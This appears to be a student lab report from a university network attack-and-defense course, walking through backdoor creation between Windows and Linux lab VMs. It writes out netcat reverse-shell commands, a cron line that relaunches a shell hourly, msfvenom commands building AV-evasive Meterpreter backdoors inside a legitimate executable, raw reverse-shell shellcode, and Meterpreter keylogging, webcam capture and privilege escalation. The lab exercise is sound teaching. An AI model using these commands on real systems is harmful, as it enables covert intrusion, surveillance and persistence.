zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175313张黎仙《网络对抗技术》Exp2 后门原理与实践

    一、实验目标

    1. 熟悉后门的概念
    2. 使用netcat实现win,linux之间的后门连接
    3. 掌握meterpreter的应用
    4. 了解MSF POST 模块的应用
    5. 学会win,linux的后门启动方式

    二、预备知识

    后门概念

    • 所谓后门,就是不经过正常认证流程而访问系统的通道。
    • 后门宿主:
    • 编译器留后门
    • 操作系统留后门
    • 应用程序中留后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

    后门工具

    • netcat:又名nc或ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
      详细资料参见:
    • soCat:Netcat++,超级netcat工具。
      任何代理、转发等功能都可以用该工具实现。
    • Meterpreter:msfvenom生成的后门可执行文件。
    • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
    • Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
    • 对于Meterpreter的基本功能可以通过help查询帮助菜单得到。

    meterpreter的生成

    root @ KaliYL:/ home / YL#msfvenom -p windows / meterpreter / reverse_tcp -x ./KiTTYPortable.exe -e x86 / shikata_ga_nai -i 5 -b' x00'LHOST = 192.168.20.136 LPORT = 443 -f exe> KiTTy_backdoor.exe

    • 参数说明:
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

    三、实验内容

    任务一:使用netcat实现windows,linux之间的后门连接

    (1)Windows获取Linux Shell

    • Windows运行监听指令ncat.exe -l -p 5313
    • Linux反弹连接Windowsnc 192.168.184.132 5313 -e /bin/sh
    • 运行结果如下:


    (2)Linux获取Windows Shell

    • Linux运行监听指令nc -l -p 5313
    • Windows反弹连接Linuxncat.exe 192.168.184.134 5313 -e cmd.exe
    • 运行结果如下:


    任务一进阶版:使用netcat、socat实现windows,linux之间的后门连接,任务计划启动

    (1)Windows获取Linux Shell(使用netcat,cron启动)

    • Windows运行监听指令ncat.exe -l -p 5313
    • Linux反弹连接,cron启动19 * * * * /bin/netcat 192.168.184.132 5313 -e /bin/sh
    • 运行结果如下:


    (2)Linux获取Windows Shell(使用socat,计划任务启动)

    • Linux运行监听指令socat - tcp:192.168.184.132:5313
    • Windows反弹连接,设置任务计划启动
    • 运行结果如下:





    任务二:MFS meterpreter生成后门程序,并注入被控端进行远程控制

    需求分析

    1. 后门程序meterpreter
    2. 将后门程序放到目标机中
    3. 使目标机运行后门程序且不被恶意代码检测程序和防火墙发现
    4. 攻击者连接后门程序
    5. 远程执行各种指令

    实验步骤

    • 生成后门程序meter_backdoor.exe
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.184.134 LPORT=5313 -f exe > meter_backdoor.exe
    • 将生成的后门程序meter_backdoor.exe拷贝到受控方
    • 在受控方Windows中使用ncat.exe -lv 5313 > meter_backdoor.exe查看连接状态
    • 在主控方kali中输入nc 192.168.184.132 5313 < meter_backdoor.exe
    • 主控方MSF打开监听进程
    • 受控方运行meter_backdoor.exe
    • 运行结果如下:
    • 主控方远程执行各种指令(使用help查询meterpreter用法)
    1. 获取目标主机shell
    2. 获取目标主机音频

    3. 获取目标主机摄像头

    4. 获取目标主机击键记录

    5. 把meterpreter HOOK到其他进程上
    6. 获取目标主机屏幕

    7. 提权

    任务三:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    需求分析:

    1. shellcode从哪里来?
    2. 如何注入pwn1中?
    3. 如何建立连接?

    对该任务的需求“shellcode从哪里来”理解不同,接下来就两个版本的理解进行解答。


    实验步骤:

    版本一

    需求1

    • msfvenom -h查看帮助,如下图:
    • msfvenom -l payload查看msf提供的shellcode,是否有满足要求的,如下图:
    • linux/x86/shell/reverse_tcp即为我们需要的shellcode.

    需求2

    msfvenom -p linux/x86/shell/reverse_tcp -x 20175313pwn LHOST=192.168.184.134 LPORT=5313 -f elf > pwn1


    需求3

    与任务2操作类似,只不过我这里为了方面直接将ip为192.168.184.134既作为主控方也作为被控方。这是就需要两个终端,一个终端进入到任务2的exploit监听等待,另一个终端./pwn1运行后门程序,即可建立连接。(本来想做win和linux的但是失败了,无法成功注入)


    运行结果截图:



    版本二

    需求1

    • Exploit Database官网下载生成好的shellcode
    • 将里面已经生成好的机器码取出x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80

    需求2

    通过实验一中的方法注入,具体过程如下:

    1. 准备工作:设置堆栈可执行,关闭地址随机化
    2. 找到shellcode起始地址


    3. 生成我们需要的shellcode作为20175313pwn的输入放在20175313input文件里


    需求3

    • 主控方开启控制台监听进程(由于下载的shellcode设置端口为4444,IP为127.0.0.1,所以这里设置主控方ip和端口要与其相同。当然,如果你想设置成自己想要的ip和port的话就修改shellcode,也是可以成功的,但是我不会。。。)
    • 被控方运行后门程序

    四、实验过程中遇到的问题

    • 问题1:ifconfig失败bash: ifconfig:未找到命令

    • 解决方法:
    1. sudo -i输入密码,进入管理员模式,ifconfig命令就可正常使用了。
    2. kali与linux指令有些差别,输入ip add即可。
    • 问题2:windows虚拟机开启摄像头失败Webcam_list:Operation failed:1411

    • 解决方法:
    • 打开cmd,输入services.msc,打开服务管理器。
    • 在服务列表中选中"VMware USB Arbitration Service",双击打开属性对话框,再选择"启动",启动VMware USB Arbitration Service服务。
    • 关闭VMware软件,并重新打开,启动一个虚拟机。点击"虚拟机"—>"可移动设备"—>"Realtek Integrated Webcam"—>"连接(断开与主机的连接)"即可成功开启虚拟机摄像头。

    • 问题3:使用getsystem提权失败



    • 问题4:使用msfvenom -p windows/shell/reverse_tcp -x 20175313pwn LHOST=192.168.184.134 LPORT=5313 -f exe > pwn.exe在Linux下可执行文件20175313pwn中注入有效载荷输出到Windows下的可执行文件pwn.exe失败。

    • 解决方法:尚未解决。
    • 问题5:对于msfvenom的一些使用方法无法通过help得到。

    • 解决方法:使用msfvenom -f?代替msfvenom --help-formats

    五、实验思考

    1. 例举你能想到的一个后门进入到你系统中的可能方式?

    没有从官网上下载的软件,可能被绑定了后门,然后由于各种科目老师实验要求导致我下载了带有后门的软件,于是它进入了我的系统,轻而易举地监视着我的一举一动。(因为我经常要打开该软件,使得经常连接成功)

    1. 例举你知道的后门如何启动起来(win及linux)的方式?

    linux:通过crontab -e修改任务计划表,插入启动指令。
    windows

    • 控制面板—>管理工具—>任务计划程序",新建任务计划。
    • 通过修改注册表,设置后门程序自启动。
    • 将后门程序与正常软件绑定,用户使用软件使启动。
    1. Meterpreter有哪些给你映像深刻的功能?
    • webcam_snap摄像头功能令我印象深刻,因为我花了大把的时间解决如何开启虚拟机摄像头的问题,最终才实现了该功能。
    • getsystem提权功能也令我印象深刻,为了实现该功能我也是找尽了各种资料。成功实现该功能后又不禁令人毛骨悚然。getsystem成功将主控方提权为被控方的管理员权限,这意味着被控方的一切都掌握在主控方手中了。
    1. 如何发现自己有系统有没有被安装后门?

    开启防火墙,开启杀毒软件,查看进程管理器、注册表自启动项、端口。

    六、实验收获与感想

    • 在进行本次实验之前,老师上课讲了一部分,根据老师的描述让我觉得这次实验应该很容易就完成。但是,事实上我花费的时间比实验一的时间还要多。
    • 一方面,很多时间是由于自己不细心,敲错了指令,又很难找到问题所在,看着几乎一模一样的指令,为什么别人就成功了,自己就是无法成功了,于是怀疑是自己虚拟机的问题,于是开始渐渐地走上了"不归路"。最后,总是以再敲一遍指令告终。
    • 另一方面,"纸上得来终觉浅,绝知此事要躬行。"看到老师简简单单地成功了,其实中间遇到地各种各样地问题,没有自己亲手去实践,是永远领悟不出来的。
    • 于是乎,我的时间就一去不复返。晚上2点了...,该睡觉了。可是,我的实验还没做完。。。

    七、参考资料

  • 相关阅读:
    实现预定房间的功能
    实现投票,显示人数百分比的功能
    数据库包装成类
    实现微信好友列表的php代码
    几种常见的函数
    数据库查询
    用代码编辑数据库T-SQL语句
    多线程
    集合类
    一、高级查询。。。实例
  • 原文地址:https://www.cnblogs.com/xiannvyeye/p/12465619.html
Copyright © 2011-2022 走看看